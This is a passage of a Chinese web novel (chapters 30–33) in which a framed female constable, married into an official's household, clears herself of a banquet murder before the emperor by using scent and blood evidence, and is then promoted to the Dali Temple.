看来，自己在无意间，卷入了一场谋杀。
她还呆坐在尸体旁，脑子里还在想着对策，一位看上去像是府中的丫鬟出现在房间门口。
不出意料地，丫鬟看到满身是血的陆思云和旁边躺着的人，发出了惊天地泣鬼神一般的尖叫声。
“杀人啦！杀人啦！快来人呀！”
陆思云被她的尖叫声吵得耳朵疼。
但是她人算是镇定了下来。
既然凶手想嫁祸于她，那一时半会儿自己是无法从这个现场逃离的。
况且她就是因为迷路才误打误撞地成了凶手的替死鬼，她并没有本事现在自己逃离尚书府。
现在唯一的办法，就是留在现场，然后自证清白。
只是，看到眼下这个情景，会有人相信她是清白的吗？
没过多久，左尚书跟着一群人来到房间门口。
看到屋里的情形，全都露出了震惊的神情。
忽然从人群里冲出来一个男人，跑过来抱住了陆思云身边的尸体，大哭地喊道：“夫人！夫人啊！”
宋晏初和莫婉晴也赶了过来，看到屋内的情况，莫婉晴差点昏厥过去，而宋晏初则是面色凝重，一言不发。
在旁边痛哭流涕的男人突然抬手指着陆思云，大声喊道：“是你！一定是你杀死了我的夫人！你还我夫人！”
陆思云百口莫辩，也懒得申辩。
这样的情况，就算她浑身上下长满了嘴，为自己辩解，都不会有人相信她说的任何话。
突然，人群后面响起一个洪亮的声音。
“锦衣卫办案，闲杂人等一律退开！”
然后一瞬间用过来很多穿着飞鱼服的锦衣卫从两边跑过来。
走在最后面，但却走在最中间的一个男人，在门口停下，眼神犀利地看着陆思云。
陆思云看着站在两边，拍成一排，看上去十分训练有素的锦衣卫。
脑子里的第一反应却是：我终于见到传说中的锦衣卫了！哇哦，好酷炫！
为首的那个人，年纪看上去与宋晏初差不多，五官俊逸，身着华丽锦衣，手握绣春刀，虽面无表情，却透着一股冷煞的威严。
然后他开口却是：“给我将此人拿下！”
30.第 30 章
“来人，给我将此人拿下！”
陆思云没想到，这个案子居然需要锦衣卫出手。
但她没来得及多想，就被两名锦衣卫从地上粗暴地拖了起来。
“等一下！”莫婉晴忍不住出声阻止。
为首那名锦衣卫听见声音，缓缓地转过身，眼睛看向一旁的宋晏初，他的脸上立刻露出似笑非笑的表情：“宋大人，许久不见，没想到刚见面就是如此血腥的场合。”
宋晏初脸色并未好转，他似乎并不待见此人，只是冷冷地道：“陆大人，命案本因交由大理寺，怎能劳烦锦衣卫出马？”
陆大人？
陆思云虽然人被人一左一右驾住，但耳朵却一直听着那边二人的谈话。
难不成这个就是传说中的锦衣卫指挥使陆琛？
那位杀人不眨眼的活阎王陆琛？
陆琛向宋晏初走近了几步，在他耳边低声说道：“宋大人确定这个案子，你能做到铁面无私，不掺杂半点私人情绪？”
宋晏初愣住，随即侧头看向他，眼神立刻变得阴暗了起来。
见对方并不理会自己，莫婉晴上前一步，走到陆琛的面前。
陆琛这才将目光停留在她的脸上。
内阁大学士的嫡女，大理寺少卿的大夫人莫婉晴，陆琛虽然没见过她本人，但是她的名字早就有所耳闻。
今日一见，果然如外界所说，美丽动人、秀外慧中。
只是现在这张漂亮的脸蛋正一脸怒气地瞪着自己。
“宋大夫人，请问有何事？”
“锦衣卫办事，原来是这样不分青红皂白，不问前因后果，不给人辩白的机会，就草草定罪的？我一介妇人，没见过什么世面，今日陆指挥使真是让我开了眼。”
陆琛挑眉。
想不到这小娘子，牙尖嘴利得很。
“宋夫人的意思，是我抓错人了？”
“我只是想提醒一下陆指挥使，凡事留余地，别做得这么绝对。”
陆琛看着她，嘴角露出些许玩味的笑，“谢谢夫人提醒。”
然后下一秒，他眼神一变，厉声命令道：“把人带走！”
“是！”
莫婉晴没想到，此人竟然如此不知好歹。
眼看陆思云就要被锦衣卫带走，情急之下，她跑过去阻拦，眼里泛着泪光。
陆琛声音微微提高，在她身后提醒：“宋夫人，妨碍锦衣卫者，你知道会有何后果？”
宋晏初深知陆琛并不是一个好惹的主，他上前一步将莫婉晴轻轻拉开。
陆思云见状安慰道：“姐姐不要担心，我相信夫君一定可以证明我是清白的。”
“还愣着干什么？带走！”
陆思云被人架着往外走，在经过宋晏初的时候，她抬眸看向他。
两人的视线在空中交汇。
宋晏初从她的眼中读到了信任，而陆思云从他的眼神里的读懂了坚定，她知晓夫君是相信她的。
宋晏初看着自己的妻子被人这样带走，暗暗握紧了拳头。
“陆大人，今日之事宋某不会就这么算了。”
陆琛并不惧怕他的威吓。
“是么，那我等着宋大人。”
陆琛带着陆思云离开后，莫婉晴慌乱地抓住宋晏初的袖子：“妹妹绝对不会杀人，定是有人想要嫁祸给她。夫君，我们得想法子救她。”
人是一定要救的。
只是现在的情况对楚星然实属不利。
她几乎是被当场抓获，他还未来得及弄清楚事情的来龙去脉，锦衣卫便立刻赶到现场，二话不说便将人带走。
速度之快，让人不得不怀疑，背后是有人在捣鬼。
虽然情况不甚乐观，但他还是得强装镇定地安慰莫婉晴：“夫人放心，我一定会救星然出来的。”
听到自己夫君这样的保证，莫婉晴的心悄悄放下了一些。
毕竟他是大理寺少卿，断案无数，又素来能力不凡，定能想出办法救人。
只是她看到那位锦衣卫指挥使陆琛十分不好惹，心中难免还是会有些不安。
“宋少卿，你二夫人杀害我夫人，你今天必须给我一个说法！”
方才趴在尸体上痛哭的男子突然站起来，对着宋晏初怒吼道。
“高侍郎，此案尚未查清，这样下定论还为时过早。”
兵部侍郎高启连恶狠狠地看着他们二人：“今日在场所有人都前言目睹楚星然坐在我夫人旁边，满身是血。你到现在还说此案尚未定论？大理寺居然就是这样草菅人命的吗？”
宋晏初能理解他失去夫人之痛，所以并不打算与他计较：“高侍郎，此案关乎我夫人的清白，我一定会彻查清楚。”
随后他走到楚越面前，向他作揖道：“岳父大人稍安勿躁，我相信星然定是被诬陷的，我一定会找出真凶，替她洗清嫌疑。”
楚越看着他，最后只能叹气地拍了拍他的肩膀。
他方才晚宴开席之前，也听到别的女眷对女儿的非议，心中甚为恼怒。
但他还没来得及站起来，就见宋晏初铁青着一张脸走出去，然后去旁边女眷席位的门口，说出了一番维护自己女儿的话。
如今女儿深陷命案之中，所有人都觉得她就是凶手，但宋晏初却从始至终都相信楚星然是被冤枉的。
他虽然心系女儿安危，但见到女婿这般维护信任她，楚越还是安心不少。
宋晏楚原本打算亲自去诏狱，一来是担心陆琛对楚星然用刑逼供，担心她受到伤害。二来是想听一听楚星然的口供，方才到底发生了何事。
却不想高启连情绪失控，见他要走，立刻上前一把抓住他：“宋晏初，你今天不给我一个交代，你别想离开这里。你若打算就这么算了，我立刻去皇上面前参你一本！”
“高爱卿这是要参谁啊？”
一个中气十足的声音从远处传来。
众人立刻全都跪倒在地，高喊：“参见皇上，吾皇万岁万岁万万岁。”
“众爱卿平生。”
“谢皇上！”
“今日是左尚书六十大寿，寡人携辰妃一起前来贺寿。没想到刚到门口，就听闻发生了命案。宋少卿，你说，到底是怎么回事？”
宋晏初还未开口，高启连便上前“噗通”一声跪倒在地，哭喊着：“皇上，您要为微臣做主啊！微臣的发妻被宋少卿二夫人所害，请陛下严惩凶手，以告慰我夫人的在天之灵啊！”
宋晏初连忙上前：“启禀陛下，此案甚为蹊跷，疑点重重，还不能下定论就是我夫人作为，
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还请陛下给微臣一点时间调查。”
“在陛下面前，你还敢替你夫人狡辩。楚星云满身是血的出现在现场，这是大家有目共睹的事实，铁证如山，宋少卿你莫非是想假公济私，行包庇之事？”
“既然高侍郎一口咬定凶手是我的夫人，而我作为关系密切者，无权参与到案件中。不如让我夫人自证清白，陛下以为如何？”
文宣帝坐在左侍郎府正厅的最上位，看着宋晏初，问：“宋家二夫人，可是那位在六扇门当差，大宣国第一位女捕快？”
“正是。内子不仅在六扇门当差，还破获了几起案件，在坊间也广为流传。所以我相信，她有此能力还原案件真相，找到真凶，为自己洗清冤屈。”
高侍郎发出不屑地鼻音：“宋大人口口声声说楚星然不是凶手，你有何证据能证明？她可是被我们这些人当场抓获的。”
宋晏初侧过身看向他，冷冷地问：“高侍郎如此坚持内子就是凶手，倒像是急于给内子定罪，好尽快将此案了结。我作为大理寺的主事人，只是想弄清楚事情的真相。高侍郎为何处处阻拦？”
“何为事情真相？眼见为实，我们一众人看到的就是事实。”
“哦？那敢问高大人，凶器在何处？”
高启连一愣，瞬间支支吾吾：“许是……许是她行凶完，将凶器扔了。”
“我派人查过院中四周，并未发现凶器。如果内子有时间丢凶器，为何不直接跑了不是更干脆，何必要停留在屋内等着被我们抓？”
原本都议论纷纷的众人，在宋晏初提出疑问后，全都沉默了下来。
宋晏初继续说：“再者，我们感到案发现场的时候，内子是坐在地上，敢问如果杀了人，她为何要坐在地上，好像在等着我们过来一般。”
“也许是她杀人之后，太过害怕，四肢无力所以才坐在地上也不无可能。”
“那我再问高侍郎最后一个问题。内子今日与令夫人第一次见面，无冤无仇，内子为何要杀她？”
这下在场所有人全都纷纷点头表示赞同。
高启连也被他问得哑口无言。
文宣帝听了宋晏初的一番话，沉声道：“既然此案疑点重重，那好好查一查便是。宋少卿，你家二夫人现在在何处？怎的没见到她人。”
“回禀陛下，内子已被锦衣卫带去诏狱。”
“锦衣卫？这是怎么回事？”文宣帝蹙眉，龙颜不悦。
锦衣卫只会办理皇帝钦定的案子，只听命于皇上。
这次竟然有人越过皇上直接让锦衣卫上门拿人，实在让人觉得匪夷所思。
一旁的辰妃侧身说道：“许是案子涉嫌人是宋少卿的夫人，为了避嫌，宋少卿没办法接管此案，这才通知了锦衣卫来接管此事。”
莫婉晴抬眸看了一眼坐在文宣帝身边，身穿华服的辰妃，若有所思。
辰妃是和亲王的生母，今日这件事，以及锦衣卫的突然到访，其中大概不乏有辰妃的手笔。
忽然，辰妃侧头看过来，眼神若有似无地扫过，然后与莫婉晴四目相对。
仅那一眼，莫婉晴神色一凛，便觉后背发凉，身体止不住微微颤抖。
“既如此，来人！将楚星然从诏狱带过来。”
“奴才遵旨。”
31.第 31 章
陆思云在诏狱倒是并未受刑。
陆琛将她关进诏狱后，甚至都没有出现，就把她撂在那儿。
虽然觉得莫名，但此时陆思云也没那个闲工夫去揣测陆指挥使的心思。
她闲适地盘腿坐在诏狱内，脑中不断在复盘方才发生的事。
她几乎可以断定，自己是上赶着做了一次替罪羊。
如果不是她正巧出来上茅房，如果不是她正巧在左尚书府迷了路找不到回前厅的方向四处瞎逛，她就不会走进那个房间。
那么凶手为何要杀她？
还是在左尚书大寿，府中有这么多人的时候。
那个在自己身后将自己打晕的人，到底会是谁？
陆思云还在认真思考案情，突然门口传来声响。
她还未搞清楚状况，就又被两个人提了起来往外走。
陆思云以为是要带她去受刑，吓得语无伦次：“你们这是带我去那里啊？喂！我可以少卿夫人，你们可别乱来啊，不然我夫君一定不会饶了你们！听见没有？你们是聋子吗？跟你说话，你们到底听见了没有啊？锦衣卫是不都是机器人啊？”
但是任凭陆思云怎样吵闹谩骂，两名锦衣卫依旧是面无表情，并且训练有素地将她塞上一辆马车。
陆思云被带到左尚书府，被带到文宣帝面前的时候，还有些懵懵的。
一旁的太监看到她见到皇上还不下跪，立刻呵斥道：“大胆楚氏，看到陛下，还不下跪？”
陆思云立刻“噗通”一声跪倒在地，大喊：“臣妇拜见陛下，陛下万岁万岁万万岁！”
“起来说话。”
“谢陛下恩典。”
陆思云这才敢抬头看向陛下，心中忍不住感叹，原来这就是大宣国的皇上文宣帝，果然做皇帝的，气质就是与旁人不同，透着一股说不出的华贵与威严。
“你的夫君宋少卿，他向寡人举荐，由你自己本人亲自查马氏被杀一案，以证清白，你以为如何？”
听了皇上话，陆思云有些意外，她下意识地看向一旁的宋晏初，对方正用鼓励的眼神看着她。
她立刻回答：“多谢陛下抬举。臣妇一介女流，虽是一名小小的捕快，但也不敢在此地逾矩。只是既然夫君信任我，臣妇愿意一试。”
皇上赏识地点点了头。
高启连随即站出来说：“陛下，万万不可啊！这楚星然是最大的嫌疑人，让她自己查探此案，无意是放虎归山，倘若她制造假的证据为自己开脱，我们也未曾可知啊。”
陆思云站直了身子，对着高启连说：“高大人，我人在此处，哪里也去不了。如若我没办法自证清白，您再叫锦衣卫把我抓去诏狱便是。皇上既然愿意给我自证清白的机会，您这是打算抗旨吗？”
“你！”
“我如何？高大人这么急切地想定我的罪，是否心中有鬼？”
“你胡说！”高启连立刻对着皇上下跪哭诉：“皇上，楚氏这是大大的污蔑，老臣冤枉啊！”
皇上被他吵得有些不耐烦：“行了行了。既然寡人答应给她一次机会，大家都随我静观其变便是。但是这么一直等下去也不是办法，楚星然，你得给寡人一个时间期限，如何？”
陆思云想了想，回答道：“那就恳请陛下给臣妇一炷香的时间，如若一炷香的时间我不能将此案查破，我便自愿回到诏狱，任凭高大人处置。”
“你确定一炷香是时间就够了？”
“足矣！”
“好，寡人就给你一炷香的时间。来人，上香。”
很快，一支点燃的香插在香炉里被搬了上来，置于大厅的正中央。
宋晏初上前自荐：“皇上，臣想协助内子一起破案，还望成全。”
莫婉晴也跟着一起请求：“臣妇也请求协助破案，望陛下成全。”
皇上欣慰地看着站在面前的三个人，笑道：“宋少卿这两位夫人倒是情同姐妹，你们一家人同心同德，实乃佳话。准奏！”
“谢陛下！”
三人出了大厅，莫婉晴便与陆思云先拥抱在一起。
“看到妹妹平安无事，我便放心了。看来陆琛只是抓你回去，并没有对你用刑。”
“确实如此。姐姐，如今我们时间紧迫，必须尽快破案。不然我怕是又得回那诏狱，这次若再回去，我怕是不会再这样毫发无损了。”
“妹妹说得极是。只是妹妹方才只要一炷香的时间，是否有些太过短了。”
“姐姐放心，我在诏狱的时候已经将案情从头到尾梳理了一遍，现在需要再去现场查看一番，心中还有几个疑惑没有解开。”
宋晏初在一旁催促道：“事不宜迟，我们赶紧去案发现场。”
现场还是当初的模样，没有命令谁都不敢翻动现场。
可怜那马氏的尸体依旧倒在血泊中。
“夫君，死者为方才在前厅处处针对我高大人的夫人，是也不是？”
宋晏初点头。
陆思云环顾了一下这个房间，这是一间很普通的厢房，且位置在尚书府的西面角落，甚为隐秘。
“晚宴间隙，高夫人为何一个人出现在这个房间？此房间位置非常偏僻，如若不是府中之人，很难会找到这个地方。我若不是解完手迷了路，误打误撞地经过，根本不会想到会来此处。”
莫婉晴看着屋内的摆设，脱口而出：“此厢房位置偏僻，倒适宜与人私会。”
“与人私会？”陆思云立刻抓住关键词，她猛然想起，方才她寻不到茅厕之时，遇到的那个丫鬟，她行色匆匆，心事重重，完全没看见眼前的自己。
“夫君，你能否帮我同左尚书说一声，将他府上的丫鬟全都带到前厅，我想认一个人。另外，能否帮我排查一下，宴会期间有哪几人中途离席。”
“没问题。”
宋晏初立刻吩咐了自己的手下去办这两件事。
查看完房间，陆思云便将高夫人的尸体翻转过来，开始查看尸体。
查验尸体这件事，对宋晏初和陆思云来说，是一件再寻常不过的事。
可对于莫婉晴来说，却是冲击极大的一件事。
很快，她便承受不住，跑出屋外呕吐了起来。
陆思云见状连忙出去查看她的情况：“莫姐姐，你没事吧？”
莫婉晴拿出丝帕捂住口鼻，脸色惨白，说不出话。
“姐姐不擅长查案，不如姐姐先在外面歇息等候，待我和夫君查看完尸体，我们在一同分析案情。”
莫婉晴自知时间紧迫，她绝对不能因自己而拖累查案的进度，连忙点头。
“妹妹无需顾虑我，查案要紧。”
陆思
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云立刻回到房间内，问道：“夫君，如何？”
“死因为腹部中刀，失血过多而死。”
这个结论与自己想的大差不大，按照现场这出血量，如若不是刺中要害部位，断不会流这么多的血。
忽然，她听见宋晏初轻轻地“咦”了一声。
她的神经立刻紧绷了起来：“夫君可是有了新的发现？”
“伤口处有两处刀痕。”
“什么？”
“虽然距离很近，但确实伤口处有两处刀伤痕迹。”
“也就是说……”
两人对视着，一口同声地下结论：“凶手有两个人！”
说完，二人不约而同地露出了笑容，颇有些惺惺相惜的味道。
“不过凶手为何要刺两刀？”
陆思云分析：“极有可能，第一个人先刺一刀，以为自己杀了人，仓皇而逃。第二人紧随其后进了屋，就着伤口处，又下了一刀。所以伤口上才会有两刀距离很近的刀痕。”
“夫人言之有理。”
陆思云看向马氏的尸体，突然她眼神一顿，伸手从马氏衣襟内掏出一个香囊。
她将香囊放在鼻子下方问了问，道：“这是迷迭香。”
“官家夫人用香囊，这不足为奇。”
陆思云闻着这香囊，突然脑中灵光一闪，露出了胜券在握的神情。
“夫君，女子用香囊不足为奇，可如若凶手与死者接触过，你说这个香味会不会留在他的身上？”
宋晏初焕然大悟。
就在此时，方才被安排办事的手下过来回报道：“少卿大人，已按照您的吩咐，将尚书府所有丫鬟及宴会中途离席的人全都带到前厅。”
陆思云从地上站起来，拍了拍身上的灰尘，对二人说道：“夫君，莫姐姐，我们走吧，去前厅看看。”
三人回到前厅，此时大厅的香已经烧了大半。
陆思云一回到前厅，就在丫鬟的人群里寻找方才遇到的那位小娘子。
很快便找到了此人。
她走到那名丫鬟面前，问道：“方才我在后院遇到小娘子的时候，小娘子为何面色匆忙？”
那名小丫鬟脸色惨白，讲话支支吾吾：“小人……小人并未面色匆忙，夫人您看错了。”
“好，那我只有一个问题要问你。你是谁的丫鬟？服侍的主人是谁？”
“小人是服侍三公子的，是三公子的贴身丫鬟。”
陆思云了然，她立刻踱步到左家三公子左怀民面前：“左三公子，请问这名丫鬟说的，是否属实？”
“她确实是我房中服侍的丫鬟，请问宋夫人，有何问题？”
“并无问题。”
随后陆思云向宋晏初使了一个眼色。
宋晏初会意，立刻走到左怀民面前，先作揖道：“左三公子，冒犯了。”
然后没等左怀民反应过来，他便抱着左怀民一顿猛嗅。
左怀民猝不及防，被一个男人当众抱着闻身上的味道，有些恼羞成怒，满脸通红：“宋少卿，你这是干什么？”
宋晏初嗅完，面色如常地转过身，对陆思云微微点头。
陆思云的脸上立刻露出笑容。
她缓缓走到文宣帝面前，下跪行礼道：“启禀陛下，此案已破，臣妇已知道凶手为何人。”
32.第 32 章
“你是说，你已经知道凶手是谁了？”
文宣帝下意识地看了眼大厅中央的香炉，不敢相信她仅用了一炷香不到的时间，就将查案破了。
陆思云满脸笃定：“正是。”
“你且说说，凶手到底是谁？”
“回皇上，凶手一共有两个人。”
“两个人？凶手竟然有两个人？”
“正是。第一位凶手，用刀刺进高夫人腹部，以为高夫人已死，吓得赶紧逃离现场。其实那时候，高夫人并未咽气，是第二位凶手进屋，将刀就着原来的伤口重新刺进高夫人体内，这才导致高夫人一命呜呼。”
“简直是一派胡言！”高启连不屑道。
陆思云不理会高启云，继续说：“第二位凶手行完凶，并未离开。而恰巧我去后院如厕迷了路，误打误撞地闯进了房间，凶手就想嫁祸给我，于是将我打晕。”
“强词夺理，照你的推断，此案与你是一点关系都没有，你只是碰巧路过，被人陷害当成了凶手？”
“正是如此。”
“皇上，她这是为了替自己开脱编的谎话，您可千万不要被她蒙骗了去。”
“高大人说我蒙骗陛下，言语里全是认定了我是凶手一般，这是为何？”
“因为你就是凶手！”
陆思云从地上站起来，转身将自己的头发撩起，露出后脖颈：“诸位请看，这是方才凶手打晕时我留下的痕迹。”
众人看到，楚星然的后脖筋确实通红一片，像是被人狠狠打了一拳。
她随即又走向左怀民：“我方才说的第一位凶手，就是左尚书的三公子，左怀民。”
左怀民立刻从椅子上站起来，情绪激动地否认：“你休要胡说！ 我与高夫人无冤无仇，我为何要杀她？”
“因为你们有私情！”
此话一出，全场哗然。
左怀民的脸色立刻变得煞白，但他还是竭力为自己狡辩：“你、你血口喷人！”
“方才我找茅房时遇到你的贴身丫鬟神色慌张，定是你在晚宴间隙约高夫人去西面角落的厢房私会，你让丫鬟先行离开，她害怕事情败露，所以神色慌张。”
“仅凭一名丫鬟的神色你就判断我就是凶手，是否太草率了一些。”
“你方才既然说你与高夫人素不相识，为何你身上有高夫人香囊的味道？”
左怀民顿时哑口无言。
“方才我让夫君闻了你身上的味道，确实有迷迭香的味道。而在高夫人的衣服里，发现了装有迷迭香的香囊。这你作何解释？”陆思云拿出香囊，举到他面前。
左怀民无从狡辩，只能颓然地坐在了地上。
“你与高夫人私会，表示以后不想与她再继续这样关系，高夫人情绪激动，拿出刀想要与你同归于尽。两人拉扯间，你不慎将刀刺进了她的身体。你害怕至极，没有确认对方是否咽气就匆匆离开。却没想到螳螂捕蝉黄雀在后，第二位凶手就在房间外面。而那个人就是你，高侍郎！”
陆思云转身，用手指着高启连，厉声道。
“你放肆！我怎么会杀我的夫人？”
“因为你知道她与左三公子的奸/情，对高夫人一直怀恨在心。你见她中途离席，知道他定是与情/郎幽会，便偷偷跟在她身后。却不想目睹了左三郎刺了高夫人一刀然后匆匆离开。你想着何不借此机会来一个借刀杀人，于是又将刀二次刺入高夫人身体，直至她断气。所以你才是杀死高夫人的真正凶手！”
“满口胡言！你有何证据证明我就是凶手？”
“我进屋后，凶手在背后袭击了我，我虽然没有看清他的长相，但是我却闻到了他身上的迷迭香。香味浓郁，并不是沾染上去的，而是凶手本身身上就带着装有迷迭香的香囊。”
高启连冷笑：“我夫人喜爱迷迭香，帮我也准备了一个，这有何奇怪？更何况，凶手身上有迷迭香的香味，也只是你一人所言，何人能够证明你所言属实，你又如何仅凭你一己之言，就治我的罪。”
面对他的狡辩质疑，陆思云脸上并没有松动的痕迹，她甚至还带着抹浅笑走到高启连面前，淡淡地说：“高大人大概知道，现场并未找到凶器……”
话还没说完，趁高启连没有防备之际，她一把抽出他腰间的短刀。
高启连猝不及防，想要伸手，但陆思云已拿着刀往后退了好几步，远离了他伸手能够到的位置。
“我夫君说，在宴会开始之前，你并未带武器在身上，为何此时腰间会多一把短刀？”
高启连脸色铁青，嘴唇微颤，说不出话来。
陆思云仔细检查的手中的刀，终于在刀柄与刀刃的缝隙处，看到了一抹红色。
“高大人，百密终有一疏。你以为自己做得天衣无缝，殊不知天网恢恢。就算你把这把刀擦得再干净，也终有遗漏的角落，沾上了王夫人的血迹。”
这下，高启连绝望地闭上了眼睛，他知已回天乏术。
宣文帝听完陆思云的陈述，沉声道：“来人，将左怀民与高启连押入大理寺，由大理寺处置。”
“遵旨！”
案件终于真相大白，自己终于自证清白，陆思云总算是松了口气。
皇上龙颜大悦，对着宋晏初说：“宋少卿，你的这位二夫人真是了不得。竟然这么快就将案子破了，让寡人真是大开眼界。 “”
“上回夜明珠被盗，就是你这位二夫人将犯人识破，还因此受了重伤。寡人一直想要见见她，无奈她身上有伤，不方便入宫。今儿个她又破了马氏被杀案，破案的过程又如此精彩，寡人这次一定要好好奖赏。”
“楚氏，你说，你想要什么奖励？”
“承蒙陛下抬爱，不过臣妇对那些个身外之物并无兴趣。如若陛下真想犒赏臣妇，臣妇斗胆，想向陛下讨个职位。”
不要奖赏的人，皇上还是第一次见，“哦？说说，你想要什么职务？”
“臣妇想进大理寺，辅佐夫君办案，请陛下恩准！”
“这有何难？从今日起，寡人奉你为大理司直，让你辅佐宋少卿，如何？”
“臣妇，谢陛下恩典！”
思云心花怒花：升职啦！耶！
折腾了一夜，三人回到府中，脸上都是倦怠之色。
宋晏初看着两位夫人满脸倦容，劝说道：“今夜大家都累了，先回去休息。明日我们再商议接下来的事。”
陆思云没意见，她困得
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快连眼皮都撑不开了，只想回去倒床就睡。
经过一夜的休整，三人在用膳房碰面时，各自脸上的气色才好了许多。
陆思云一见到莫婉晴，便关切地问：“姐姐昨日受惊了，可有休息好？”
昨天她见到尸体，还陪着他们一起办案，这是莫婉晴从未经历过的，对她的精神冲击一定很大，陆思云担心会因此留下什么后遗症。
没想到莫婉晴比她想得要坚强的多。
“劳烦妹妹挂心了，我一切安好。妹妹能洗清冤屈，自证清白，我这颗心也算放下，所以一夜好眠。”
“那就好。”
“昨夜我终于亲眼所见妹妹断案时的果决，实在让我佩服。”
受到夸赞，陆思云的脸上难得露出羞怯的笑容：“姐姐谬赞了。”
“婉晴说得对，你确实很有查案的本事。”
身后响起声音，二人一同转身，看到宋晏初站在门口，面带浅笑地看着她们。
二人见了他，一起行礼：“夫君。”
“夫人们，用膳吧。”
用完早膳，三人同往常一样，一起坐在前厅喝茶。
经过昨夜，他们也算是共过患难，彼此的关系比之前更加亲密融洽。
宋晏初喝完茶，将茶杯放置一旁的桌上，然后看向陆思云，问道：“夫人打算何时去大理寺报道。”
“随时，一切都听夫君的安排。不过在此之前，我想先去六扇门，同几个平时关系比较友好的同僚道个别，还望夫君允许。”
“这个自然是应该的，你只管去便是。”
“谢谢夫君。”
莫婉晴笑着对陆思云说：“恭喜妹妹升职，以后可以跟夫君一同进出大理寺，也算是有个照应。”
“不过，昨夜陛下问你要赏赐之时，你为何选择来我大理寺就职？”
陆思云对着自己的夫君眨眨眼，笑着回答：“人往高处走嘛。”
宋晏初看着她俏皮的模样，突然胸口一紧，不觉脸上微糖烫。
他拿起身旁的茶杯，喝了一口以掩饰尴尬。
这些细节全都被莫婉晴看在眼中，她不动声色地观察着夫君与陆思云之间交流时的神态动作，嘴角不禁微微上扬。
看来郎有情，却不知妾是不是有意。
思云妹妹率真活泼，心思单纯，一心只扑在破案上，怕是在男女之事上还未开窍。
虽然昨夜她在皇上面前要个大理寺的职务的时候，宋晏初很是意外，他没想到自己这位二夫人，是铁了心的想往官场里钻。
六扇门内的区区一个小捕快，已经满足不了她的需求。
不过，这对宋晏初来说，倒也不是什么坏事。
他一直觉得如今的楚星然行为捉摸不定，保不齐要惹出什么事端来，将她留在自己的身边看着，他也能放心不少。
“这是你靠自己的能力得来的职位，我自然为你感到高兴，”
能得到丈夫的肯定，这对陆思云来说，是最大的鼓励。
聊完职位之事，宋晏初话锋一转：“接下来，我想同夫人们分析此次案件的背后之意。”
听了他的话，陆思云和莫婉晴的脸色立刻凝重了起来。
33.第 33 章
“夫君的意思，这次高夫人被杀一案，另有深意？”陆思云有些意外地问。
查案破案是她的强项，可朝堂上的阴谋诡计，她却是察觉不深。
但是莫婉晴却不同，她同宋晏初的想法一致，特别是昨晚与辰妃对视的那一眼，一直在她的脑海中徘徊。
直接告诉她，辰妃并不是一个简单的角色，高夫人被杀一案一定没有表面看上去那么简单。
虽然这次，陆思云靠自己的能力洗脱了嫌疑，并且借此升到了大理寺去。
从结局上来看，是有惊无险，并且还有意外之喜。
但从长远打算来看，就需要透过现象看本质。
“昨日，众人刚发现现场没过过久，锦衣卫就上门来拿人，这点太让人匪夷所思。”
宋晏初赞同地点头：“按理，发生命案，因先由六扇门查看，再交由大理寺，怎样都轮不到锦衣卫插手。可昨天陆琛堂而皇之地进来抓人，并且还当着我的面。”
“而且从皇上的表情，不难看出，锦衣卫到现场，并不是皇上授意。那么能喊得动锦衣卫的人，只有……”
“皇家之人。”
陆思云认真地听着宋晏初和莫婉晴你一言我一语地分析着，她并不蠢，很快就抓住了重点：“你们怀疑，叫锦衣卫插手此事的，是辰妃？”
“妹妹真是聪慧过人，一点就通。”
“但是辰妃为何要这样做？”虽然知道始作俑者是辰妃，可陆思云还是不理解。
莫婉晴笑着解释她听：“让锦衣卫来插手此案，一是想要架空夫君的职能，让他无法接管此案。二是想要为难一下妹妹，借此敲打夫君。原本祭祀大典之时，他们便已经对夫君下手，只不过两次危机都被夫君和妹妹联手化解。他们自然是对夫君怀恨在心。”
“祭祀大典仪一事，也有姐姐的一份功劳在。”
莫婉晴对她报以一笑，继续说：“辰妃是和亲王的生母，她会参与党争，这一点都不奇怪。”
“不止如此，”宋晏初补充道：“辰妃现在是皇上最宠爱的妃子，能在后宫中脱颖而出，独得圣宠，此人定不是一个简单之人。”
“这一桩桩、一件件的事，皆针对夫君，来者不善，我们必须要小心提防才是。”
“目前对方在暗，我们在明，形势对我们很不利。并且前面的几次案子，他们都没留下任何证据和把柄，我们也只能推测背后之人是辰妃和和亲王的党羽，并没有实质性的证据。”
陆思云听着，虽然朝堂之事她不是很懂，但从他们的话语中，听出形式不容乐观，不禁也忧心忡忡了起来。
见她一脸忧愁，宋晏初忍不住安慰道：“夫人不用过于忧心。兵来将挡水来土掩，我相信以我三人之力，必能度过这个难关。”
陆思云知道他这是在安慰自己，但是现下也只能保持乐观，保持戒备之心，以不变应万变。
------
陆思云即将去大理寺做大理司直的事，没过多久就传遍了整个六扇门。
同时传遍六扇门的，还有她在左尚书府中如何被当成凶手，又是如何在一炷香的时间内破了此案，找出真凶，为自己洗清冤屈的英勇事迹。
所以，陆思云一回六扇门，立刻被同僚们围在中间。
“星然妹妹，听说你要去大理寺了，真的假的？”
“真的呀。”
“星然妹妹，听说你前几天在皇上面前破了高侍郎杀妻案，可有此事？”
“确有此事呀。”
“那你快跟我们说说，你到底是怎么找到凶手的？”
“对呀对呀，你跟我们说说，你是怎么在一炷香的时间内找到凶手的，这也太厉害了！”
“这个嘛……”陆思云卖起了关子：“就说来话长了，怕是三天三夜都说不完。”
“哎呀，你就跟我们说说吧。”
“星然妹妹，你什么时候去大理寺就职？”
“就这几天了，所以今日我特意过来跟兄弟们道个别。虽然我在六扇门待的时间不长，但是在六扇门做捕快的这段时间，我过得很充实，很开心。今儿个，我请大伙儿喝酒吃菜，如何？”
“那敢情好啊！正好给星然妹子送行。”
“好啊好啊。”
越过人群，陆思云看到李响小团体的那几个人坐在不远处的矮凳上，对着她满脸的不屑。
而赵小四也在其中。
看来他的手指已经恢复，回来六扇门当差了。
陆思云从人群中走出来，走到他们面前，笑着邀请到：“李响兄，今天晚上能否赏脸一起喝个酒？”
众人看着楚星然面带微笑地走到李响他们几个面前，主动发出邀请，都替楚星然觉得不值。
李响小团体是如何排挤她和孙二斤，其他人看在眼里，心知肚明。
但楚星然却并不把他们的挑衅放在眼里，并且用自己的实力狠狠地打了他们的脸。
但就算楚星然表现的如何出色，李响他们对她的态度却依旧没有改变。
依旧是一副高高在上，看不起她的模样。
仿佛他作为男子，生来就比女子高贵。
果不其然，李响开始冷嘲热讽：“楚大人去了大理寺，以后就是我们上级部门，我们这种底层小兵，怕是高攀不上。”
不去就不去，也不是非要你去不可。
陆思云转向一旁的赵小四。
赵小四自从楚星然进门的那一刻起，全身便开始紧绷了起来，被掰断又接好的手指仿佛隐隐有些作痛。
“赵兄弟，之前多有得罪，希望你别放在心上。”
